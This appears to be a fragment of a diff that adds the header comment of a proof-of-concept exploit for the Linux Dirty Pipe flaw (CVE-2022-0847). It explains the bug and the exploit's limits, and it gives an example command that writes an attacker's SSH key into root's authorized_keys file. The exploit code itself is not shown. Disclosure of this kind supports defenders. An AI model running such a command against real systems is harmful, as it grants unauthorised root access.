+ * Proof-of-concept exploit for the Dirty Pipe
+ * vulnerability (CVE-2022-0847) caused by an uninitialized
+ * "pipe_buffer.flags" variable.  It demonstrates how to overwrite any
+ * file contents in the page cache, even if the file is not permitted
+ * to be written, immutable or on a read-only mount.
+ *
+ * This exploit requires Linux 5.8 or later; the code path was made
+ * reachable by commit f6dd975583bd ("pipe: merge
+ * anon_pipe_buf*_ops").  The commit did not introduce the bug, it was
+ * there before, it just provided an easy way to exploit it.
+ *
+ * There are two major limitations of this exploit: the offset cannot
+ * be on a page boundary (it needs to write one byte before the offset
+ * to add a reference to this page to the pipe), and the write cannot
+ * cross a page boundary.
+ *
+ * Example: ./write_anything /root/.ssh/authorized_keys 1 $'\nssh-ed25519 AAA......\n'
+ *
+ * Further explanation: https://dirtypipe.cm4all.com/
